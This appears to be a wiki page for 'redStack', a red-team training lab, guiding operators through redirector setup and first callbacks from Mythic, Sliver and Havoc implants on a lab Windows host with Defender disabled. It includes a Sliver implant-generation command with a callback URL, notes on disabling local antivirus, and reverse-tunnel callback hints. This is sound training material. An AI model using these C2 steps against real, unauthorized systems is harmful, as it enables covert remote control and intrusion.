Skip to content

06. First Run

Jump to bottom
BaddKharma edited this page May 8, 2026 · 37 revisions

🏁 First Run

Home > First Run

Staged walkthrough for first-time operators after a successful Verify. Covers redirector setup through a confirmed first beacon on all three C2 frameworks. Individual component pages (Mythic, Sliver, Havoc, etc.) have the full technical deep-dives; this page tells you what order to do things in and why.

At a glance
Pre-req Verify complete: Guacamole accessible, Windows reachable, all hosts ping cleanly
Active steps terraform apply ~10 min. Linux hosts and Guacamole ready shortly after. Windows RDP and Mythic UI need another 10-15 min to fully initialize.
End state First beacon confirmed from Mythic, Sliver, and Havoc. Lab fully operational.
All access Via Guacamole portal or MobaXterm sessions on the Windows host. No direct public SSH.

Note

Open all SSH sessions in this walkthrough through the Guacamole portal (https://<GUAC_PUBLIC_IP>/guacamole) or the pre-configured MobaXterm bookmarks on the Windows operator workstation. The redirector accepts only HTTP/HTTPS on its public interface. No lab host exposes SSH publicly except Guacamole, which is the break-glass path for advanced users.

Step 1: Redirector Setup

The redirector must be configured before agents can call back. Choose your track based on terraform.tfvars:

Track A: Direct Access (public domain + Let's Encrypt)

Use this track when redirector_domain is set to a real domain.

  1. Point your domain's A record at the redirector Elastic IP (printed in deployment_info.txt under APACHE REDIRECTOR).
  2. Wait for DNS to propagate (dig +short yourdomain.tld should return the redirector EIP).
  3. In Guacamole, open the Redirector (SSH) connection.
  4. Run Certbot to issue the TLS certificate:
sudo certbot --apache -d yourdomain.tld
  1. Run the redirector test script to confirm all layers are healthy:
sudo /home/admin/test_redirector.sh

Expected: Apache active, VirtualHosts loaded, connectivity to Mythic / Sliver / Havoc backends, header validation working, decoy page returning for unauthenticated requests.

For full details on what each layer does, see Redirector.

Track B: Tunneled Access (HTB / VulnLab / Proving Grounds via OpenVPN)

Use this track when enable_vpn_tunnel = true and redirector_domain = "".

  1. Download your .ovpn file from your platform (HTB, VulnLab, Proving Grounds, etc.).
  2. In Guacamole, open the Redirector (SSH) connection.
  3. Upload the .ovpn file via the Guacamole sidebar (Ctrl+Alt+Shift > Devices > upload), then move it:
mv ~/*.ovpn ~/vpn/
  1. Start the VPN service:
sudo systemctl start vpn-tunnel
journalctl -u vpn-tunnel -f

Wait for "Initialization Sequence Completed." Then get the tun0 IP (this is your callback address for agents in Tunneled Access):

ip -4 addr show tun0 | grep -oP '(?<=inet\s)\d+(\.\d+)+'

For full routing details and callback configuration per C2, see OpenVPN Tunnel Environments.

Step 2: Optional Background Tasks

Havoc build (via Guacamole > Havoc (SSH)). Run this if you plan to use Havoc this session:

~/build_havoc.sh

The script logs to ~/havoc_build.log. Once started, move on to Step 3. Skip this entirely if you are not using Havoc this session. The build downloads ~1 GB of data (Go toolchain, Havoc source, Go modules) and takes 15-25 minutes.

Kali tools (optional, via Guacamole > Kali (SSH)):

sudo install-kali-tools

Installs the 21-package AD/enum lineup. Only needed if you plan to use Kali for enumeration work this session. Move on without waiting.

Warning

A Note on Local Antivirus: redStack does not generate production-grade evasive payloads. The agents it produces (Apollo, Sliver implants, Havoc demons) are not obfuscated by default and will be flagged by AV on real systems, which is expected.

The lab Windows workstation has Defender disabled by default so unobfuscated agents can run during training. However, if you transfer files from Guacamole to a local VM or personal machine, your local AV may flag them. Disable AV on any local test VM before importing lab-generated payloads.

Step 3: Mythic First Beacon

Mythic ships pre-configured with the HTTP profile and Apollo agent. The redirector's X-Request-ID token is baked in at deploy time.

Access is from the Windows host browser only. Mythic has no public IP. The Mythic web UI (https://mythic:7443) is only reachable via the Windows operator's Chromium browser (hostname resolves via the Windows hosts file). Do not attempt to access it from your local laptop browser directly.

Steps:

  1. In Guacamole, open Windows (RDP).
  2. Open Chromium, navigate to https://mythic:7443.
  3. Login: mythic_admin / lab password from deployment_info.txt.
  4. Confirm the http profile shows Accepting Connections under Installed Services > C2 Profiles.
  5. Click Create Payload and generate an Apollo agent. See Mythic > Initial Beacon for exact field values.
  6. Execute the downloaded payload on the Windows workstation.
  7. Confirm the callback appears under Active Callbacks in the Mythic UI.

Full walkthrough with exact configuration values: Mythic > Initial Beacon.

✅ Checkpoint: Mythic callback confirmed.

Step 4: Sliver First Beacon

Sliver ships with a pre-generated admin.cfg operator config and the redstack C2 profile pre-installed. The X-Request-ID header value is baked into the profile.

Steps:

  1. In Guacamole (or MobaXterm from Windows), open the Sliver (SSH) connection.
  2. Launch the client:
sliver-client
  1. Import the C2 profile and generate an implant:
profiles import /home/admin/redstack-c2-profile.json
generate --http https://<your-redirector-domain>/cloud/storage/objects/ --c2profile redstack --os windows --save /tmp/sliverTest.exe

For Tunneled Access, replace the callback URL with http://<tun0-ip>.

  1. Transfer the implant to the Windows workstation via Guacamole's sidebar file transfer (from the Sliver SSH session, copy to /home/admin/, then use the GuacShare drive from the Windows RDP session to pull it across).
  2. Execute the implant on Windows.
  3. Back in sliver-client, run sessions to confirm the callback.

Full walkthrough: Sliver > Initial Beacon.

✅ Checkpoint: Sliver session confirmed.

Step 5: Havoc First Beacon

Confirm the build completed before proceeding:

ls /opt/Havoc/teamserver/teamserver

If the binary is missing, check ~/havoc_build.log and see Troubleshooting > Havoc Build Failed.

Steps:

  1. In Guacamole, open Havoc (SSH) and start the teamserver:
sudo systemctl start havoc
sudo systemctl status havoc
  1. Open Havoc Desktop (VNC) in Guacamole. This is the XFCE4 desktop where the Katana GUI client runs.
  2. Launch the Havoc Katana client from the desktop icon. Connect with: host 127.0.0.1, port 40056, user admin, lab password.
  3. Add a listener via the Havoc UI: View > Listeners > Add. Use the redirector domain/IP and port 443 (Direct Access) or the tun0 IP and port 80 (Tunneled Access).
  4. Generate a demon payload from the Havoc UI: Attack > Payload. Use Spawn64 or Spawn32 format for the Windows target.
  5. Transfer the demon to the Windows workstation (same GuacShare method as Sliver).
  6. Execute the demon on Windows.
  7. Confirm the session appears in the Havoc Katana client.

Full walkthrough with exact field values: Havoc > Initial Beacon.

✅ Checkpoint: Havoc session confirmed.

Lab Fully Operational

All three beacons confirmed: Mythic callback, Sliver session, Havoc demon. The lab is fully operational.

From here, the individual component pages are your reference:

Kali Enumeration: How It Connects

If you're planning to run enumeration or attack tools from Kali against Tunneled Access targets, the traffic path matters:

Kali sits in the Teamserver VPC alongside the C2 servers. In Tunneled Access (OpenVPN enabled), the VPC route table directs target-network traffic through the Guacamole ENI to the redirector's WireGuard tunnel, then out through the OpenVPN connection on tun0.

Tools like nmap, netexec, or impacket that target the configured external CIDRs route through this path automatically: no special configuration needed beyond having the VPN connected.

For callback paths (getting a Meterpreter or shell back from a target into Kali), the redirector's GatewayPorts clientspecified setting enables ssh -R '*:port:host:port' to publish a listener on the redirector's tun0 interface. See Kali > Port Forwarding for Callbacks for the exact syntax.

This is not a step-by-step lab guide; your specific targets and techniques will vary by platform and scenario.

← Previous: Verify | Next: Lab Inventory →

“The secret of getting ahead is getting started.”

Attributed to Mark Twain

Clone this wiki locally